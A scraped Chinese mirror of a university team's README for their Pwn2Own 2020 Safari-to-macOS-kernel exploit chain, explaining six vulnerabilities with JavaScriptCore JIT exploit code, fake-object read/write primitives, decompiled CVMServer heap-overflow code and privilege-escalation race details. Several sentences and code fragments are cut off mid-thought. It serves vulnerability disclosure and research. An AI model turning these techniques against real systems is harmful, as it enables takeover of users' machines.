在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
开源软件名称(OpenSource Name):sslab-gatech/pwn2own2020开源软件地址(OpenSource Url):https://github.com/sslab-gatech/pwn2own2020开源编程语言(OpenSource Language):C++ 37.5%开源软件介绍(OpenSource Introduction):Compromising the macOS Kernel through Safari by Chaining Six VulnerabilitiesOverviewThis repository contains exploitation and technical details of our Pwn2Own 2020 winning submission targeting Apple Safari with a kernel escalation of privilege for macOS 10.15.3. For further information, you can also check our Blackhat USA 2020 slides and video. This repository also includes our demo video for the succesful exploitation. How to reproduce
$ python3 -m http.server 80
Build from sourceFor your convenience, we provided a compiled payload, # Install xcode first
$ python3 -m pip install --user lief
$ make Technical detailsTo make this exploit, we chained the following SIX vulnerabilities. 1. Remote code execution in Safari via incorrect side-effect modeling of 'in' operator in JavaScriptCore DFG compiler
In JavaScriptCore, when an indexed property was queried with 'in' operator, the DFG compiler assumes that it is side-effect free unless there is a proxy object in its prototype chain that can intercept this operation. JavaScriptCore marks an object that can intercept this indexed property access using the flag called 'MayHaveIndexedAccessors'. This flag is explicitly marked for the Proxy object. 0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect! However, there is another object that can cause side-effect:
JSHTMLEmbedElement that implements its own getOwnPropertySlot() method. One
way to trigger JavaScript callbacks (i.e. side effects) with 'in' operator is
using This is the stack trace of calling the side-effect from getOwnPropertySlot().
Since any objects in the prototype chain is not marked with "MayHaveIndexedAccessors", JIT assumes that this use of 'in' operator doesn't have any transitions inside eliminating the array type checks after transition. // In the frame of <iframe src="...pdf"></iframe>
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value By constructing addrof/fakeobj primitive from this, we could make arbitrary RW primitive to get code execution with the JIT-compiled JavaScript function.
After getting addrof/fakeobj primitives, we convert it to more stable addrof/fakeobj primitives by faking an object. hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: (new Int64('0x0108191700000000')).asJSValue(),
butterfly: null,
o: {},
executable:{
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
unlinkedExecutable:{
isBuiltinFunction: 1 << 31,
a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48)
identifier: null
}
},
// -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40)
strlen_or_id: (new Int64('0x10')).asDouble(), // String.size
target: hostObj // String.data_ptr
}
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier
Function.prototype.toString(fakeHostObj) // function [leaked-structure-id]() { [native code] } We leak the structure id of the hostObj by making fake function object fakeHostObj and calling Function.prototype.toString on it. The name of function reflects the structure id value as UTF-16 string. We update the hostObj after leaking the structure id. It is worth to noting that this technique is from Yong Wang's Blackhat EU 2019 talk. hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
} Now we have fakeHostObj's butterfly pointing fakeHostObj itself. We can use addrof/fakeobj primitive without triggering the bug again since we can access hostObj.o as JSValue or as double using fakeHostObj[2]. Using leaked structure id of attackObj and addrof/fakeobj primitive, we can craft objects like below. rwObj = {
// rwObj.structureId
// rwObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// fakeRwObj = fakeObj(addressOf(rwObj) + 0x20)
id: leakStructureId.asDouble(), // fakeRwObj.structureId
butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
} We can get arbitrary RW primitive using the fakeRwObj to update fakeInnerObj's butterfly pointer and read/write from/to fakeInnerObj. To get RCE from arbitrary RW primitive, we trigger the JIT compilation of the dummy function, leak the code address, overwrite it with our shellcode. Sometimes, code address leak fails because we can't read/write certain values from our fake array. In that case, we try to approximate it by reading from pointer location + 1 and shifting the read value. Finally, we overwrite the code pointer of the alert function to our dummy function code pointer and call it (with some arguments) to execute the shellcode. 2. Arbitrary .app launching in Safari via symbolic link in didFailProvisionalLoad()For file:// URL, Safari opens Finder window with [NSWorkspace selectFile:inFileViewerRootedAtPath:]. This function accepts two parameters, and in most cases, Safari only uses the first parameter, which shows the containing folder of the specified file. But if the second parameter is used instead, the Finder launches the file if it is executable or an app bundle. Safari uses the second parameter after confirming that the pointed path is not application bundle --- directory with .app suffix. Since a symbolic link can point to the application bundle, but this is not a directory with .app suffix. Thus, Safari will launch the application pointed by the symbolic link. This code path can be triggered by sending didFailProvisionalLoad() IPC message. However, Safari itself cannot create a symbolic link due to system call filter of the Seatbelt sandbox. So we use another vulnerability that gives root, but sandboxed code execution. 3. Arbitrary code execution in CVM (Core Virtual Machine) Service via heap overflowThere is a sandboxed XPC service named com.apple.cvmsServ (i.e. CVMServer), which compiles shader for various architectures. It is part of built-in OpenGL framework. For requests with "message" field set to 4, CVMServer parses user-specified "framework data" and "maps". The "maps" data file is located at "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - first %s is user-specified without any filters. So directory traversal is possible; we can make it parse the file created within the Safari's sandbox. FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132); If By utilizing this, we could overwrite the heap object related to connection, which could modify the pointers mentioned below: case 7: // "message" == 7
v34 = xpc_dictionary_get_uint64(input, "heap_index");
v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size);
if ( v11 )
goto error;
xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4)
{
Pool *pool; // rax
unsigned int v7; // ebx
heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2));
// a1->attachedService is controlled value
pool = a1->attachedService->context->pool_ptr;
v7 = 521;
if ( pool->pointersCount > index )
{
v8 = pool->pointers;
*port = v8[index].port;
*a4 = v8[index].size;
v7 = 0;
}
pthread_mutex_unlock((&server_globals + 2));
return v7;
} If the "port" value is 0x103 (TASK-SELF), the service will grant the client the send right of CVMServer's task port, which can be used to allocate memory, and execute arbitrary code on the process. To make v8[index].port == 0x103, we searched the memory on the library area, which have the same addresses across the processes.
There were many areas that had two 64-bit integer value 0, -1, and for rax+0x38
and X+0x30, we found that Since CVMServer had com.apple.security.cs.allow-jit set, we could call mmap with MAP_JIT flag and invoke our reflective loader to execute dylib files on the process. We ran this code on CVMServer: // In /var/db/CVMS (writable folder)
char randbuf[0x1000];
sprintf(randbuf, "%lu.app", clock());
symlink(randbuf, "my.app");
// Create a valid application at my.app After creating %lu.app and symbolic link my.app, we returned to Safari and sent the IPC message to open the app. But there were two more protections: quarantine check and opening-the-app-for-the-first-time check. 4. macOS first-time app protection bypassIf Safari tries to execute an app for the first time, Safari denies its
execution if the file has an attribute called com.apple.quarantine or waits a
user's confirmation. All files created by WebProcess has the attribute ---
com.apple.quarantine, however, we already can bypass this because we created
the folder in CVMServer process, not in WebProcess. For the user's
confirmation, macOS first creates the process, suspends it, and continue
the process after user clicks Thus, we ran this code continuously in CVMServer after creating my.app: for(int i = 0; i < 65536; i++)
kill(i, SIGCONT); 5. Root privilege escalation in cfprefsd via arbitrary file / folder permission modification caused by a race conditioncfprefsd is another XPC service that allows a user to create plist file. It is located at CoreFoundation and is recheable from most unsandboxed process. Since we already got unsandboxed privilege for a normal user (i.e., CVMServer), we can request it to create plist file if the target folder and file has sufficient permission bits that allows the client user to write to the file. However, if the folder does not exist, it creates the folder of the plist file recursively. Here is a code snippet from CVMServer that creates the folder. _CFPrefsCreatePreferencesDirectory(path) {
for(slice in path.split("/")) {
cur += slice
if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) {
chmod(cur, perm)
chown(cur, client_id, client_group)
} else break
}
} But if a path points user-writable directory, a user can replace the directory
pointed by
Then 6. Kernel privilege escalation using module staging bypass and race condition in kextloadkextload is one of programs that can perform kext (Kernel Extension) operations
in macOS. By running kextload works as follows. If we execute
One issue in kextload is that this process can be terminated with a root privilege user. It is worth noting that the aforementioned copy includes symbolic link, which will be validated later. However, if we kill the kextload process before the validation, we can preserve an invalid kext with a symbolic link in the /Library/StagedExtensions.
After this, if we execute another kextload command with
After copying, kextload checks if it is located at secure location, which is
To make race reliable, we used sandbox-exec to stop the program at the file access with the specified suffix. Authors
Citation
Reference
|
2023-10-27
2022-08-15
2022-08-17
2022-09-23
2022-08-13
请发表评论